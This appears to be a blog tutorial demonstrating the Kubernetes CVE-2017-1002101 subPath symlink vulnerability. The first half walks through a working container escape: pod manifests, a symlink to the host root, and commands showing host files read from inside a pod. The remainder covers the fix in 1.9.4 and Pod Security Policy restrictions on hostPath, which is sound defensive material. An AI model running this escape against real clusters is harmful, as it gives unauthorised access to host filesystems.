kubernetes
Understanding about CVE-2017–1002101 on kubernetes
The other day two vulnerabilities about kubernetes had been published.
CVE-2017–1002101
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using subpath volume mounts with any volume type (including non-privileged pods, subject to file permissions) can access files/directories outside of the volume, including the host’s filesystem.CVE-2017–1002102
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using a secret, configMap, projected or downwardAPI volume can trigger deletion of arbitrary files/directories from the nodes where they are running.
Today let me show you how CVE-2017-1002101 vulnerability actually works on a kubernetes cluster.
Preparing
First, you need to deploy a “not latest” kubernetes cluster(prior to 1.9.4).
$ kubectl version --short
Client Version: v1.9.2
Server Version: v1.9.2I prepared a kubernetes cluster which version is 1.9.2.
There is no Pod Security Policy on this cluster.
$ kubectl get podsecuritypolicy
No resources found.Create a pod on this cluster by using the following manifest.
apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: DirectoryOrCreateThis pod mounts a volume that uses hostPath.
At the moment, it doesn’t use subPath yet.
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2mAfter the pod was created, let’s go into the pod with “kubectl exec”.
$ kubectl exec -ti cve-2017-1002101 -- /bin/sh
/ #/ # cd /test
/test # ln -s ../../.. malicious_link
/test # ls -l
total 0
lrwxrwxrwx 1 root root 11 Mar 16 01:02 malicious_link -> ../../..
Create a symbolic link in the mounted volume(/test). At this point, a symbolic link as “malicious_link” is created in the /tmp/test directory on the host file system. “malicious_link” practically links to /.
Let’s check the symbolic link at the host side.
(host) $ ls -l /tmp/test/malicious_link
lrwxrwxrwx 1 root root 8 Mar 16 18:48 /tmp/test/malicious_link -> ../../..(host) $ cat<<EOF>/here_i_am.txt
> Yeah!! I'm on the host's root dir!!
> EOF(host) $ cat /tmp/test/malicious_link/here_i_am.txt
Yeah!! I'm on the host's root dir!!
At this point, you can not read “here_i_am.txt” in pod:cve-2017-1002101.
/ # cat /test/malicious_link/here_i_am.txt
cat: can't open '/test/malicious_link/here_i_am.txt': No such file or directoryTry to attack the vulnerability actually
Are you ready? Let’s try it now. Do not abuse, please :-)
Deploy a new pod to the same node that pod:cve-2017-1002101 is running on.
In such case, add a label to the target node because of using nodeSelector scheduling for a new pod.
$ kubectl get pods cve-2017-1002101 -o jsonpath='{.spec.nodeName}{"\n"}'
cve-node1$ kubectl label node cve-node1 vulnerability=true
node "cve-node1" labeled$ kubectl get nodes cve-node1 -L vulnerability
NAME STATUS ROLES AGE VERSION VULNERABILITY
cve-node1 Ready node 23h v1.9.2 true
Create a pod by using the following manifest.
apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101-2
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
subPath: malicious_link
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: Directory
nodeSelector:
vulnerability: "true"This pod:cve-2017-1002101-2 uses subPath for mounting a volume. Set the created “malicious_link” path to the value of subPath in the manifest.
Go into the pod:cve-2017-1002101-2 and check directory contents in /test.
$ kubectl exec -ti cve-2017-1002101-2 -- /bin/sh
/ #/ # cat /test/here_i_am.txt
Yeah!! I'm on the host's root dir!!
In this way you can access to the host root dir( /) easily.
If this pod has root permission, you can read/write all files in the host file system.
Even if this pod is restricted the permission by runAsUser, you can access to files with it’s permission.
How works on the latest kubernetes cluster(1.9.4)
Well then, let’s deploy cve pods to the new kubernetes cluster(1.9.4) that vulnerability was fixed and check the results.
Prepare new cluster(1.9.4).
$ kubectl version --short
Client Version: v1.9.4
Server Version: v1.9.4Just as before, create a pod:cve-2017-1002101 to 1.9.4 cluster and add a label to the target node.
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2mTry to create a pod:cve-2017-1002101-2 …
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m
cve-2017-1002101-2 0/1 CreateContainerConfigError 0 2mYou will see that pod:cve-2017-1002101-2 gets an error with CreateContainerConfigError status.pod:cve-2017-1002101-2 never runs.
The vulnerability was fixed on the 1.9.4 cluster!!
You can see the following message in the kubelet’s log.
failed to prepare subPath for volumeMount "test-vol" of container "busybox": subpath "/" not within volume path "/tmp/test"Set “Pod Security Policy” to prevent using hostPath volume.
I wish you could always use the latest kubernetes cluster, but you usually can not version up your cluster easily.
So in that case, it is better to prohibit using the volume with hostPath.
Pod Security Policy helps to be able to prohibit using the volume with hostPath in such case.
Enabling “Pod Security Policy”
To enable Pod Security Policy, you need to pass PodSecurityPolicy to --admission-control in kube-apiserver option.
Defining policies will not be effective without this setting.
You have to define at least one policy when you enabled Pod Security Policy because all your operations to the cluster never success with no policies.
This policy is equal to without using Pod Security Policy. (no restrictions)
apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- '*'
volumes:
- '*'
hostNetwork: true
hostPorts:
- min: 0
max: 65535
hostIPC: true
hostPID: true
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'It is better to think about your policy based on this until you get used to it.
The policy that prohibit to use hostPath volume
You can restrict the type of volumes in the Pod Security Policy.
There are various types of volumes.
For example, configMap, secret, and so on.
Of course hostPath is one of volume types too.
You can use any volume types by default rule.
volumes:
- '*'If you want to prohibit using hostPath volume type, you must not include hostPath in the volumes list in your rule.
The following rule is recommended by official documents. hostPath is not included.
volumes:
- 'configMap'
- 'downwardAPI'
- 'emptyDir'
- 'persistentVolumeClaim'
- 'secret'
- 'projected'By applying this rule, your cluster never permit to mount volumes with hostPath.
If you try to create a pod using hostPath after applying this policy actually, the following message will be displayed.
$ kubectl create -f cvepod.yaml
Error from server (Forbidden): error when creating "cvepod.yaml": pods "cve-2017-1002101" is forbidden: unable to validate against any pod security policy: [spec.volumes[0]: Invalid value: "hostPath": hostPath volumes are not allowed to be used]Creating a pod that is using hostPath volume was correctly prohibited.
Conclusion
I actually checked the behavior about CVE-2017-1002101 on a kubernetes cluster.
If you are permitted to use hostPath volume, you can access to the outside of hostPath volume easily.
If you are the administrator of the service providing kubernetes, I highly recommend you should restrict the use of hostPahh volume.
And also better to use the latest kubernetes version.
Even in case of using the vulnerability-fixed version, I recommend to limit paths for hostPath by Pod Security Policy.
Setting whitelist paths in AllowedHostPaths of your policy helps to limit paths for hostPath and to be more secure your cluster.
With suitable Pod Security Policy, be more better kubernetes life!!
Additional notes
The kubernetes version 1.9.4 that was fixed vulnerabilities had an issue that could not use subPath with Secret, ConfigMap, Projected, DownwardAPI.
This was fixed by 1.9.5.
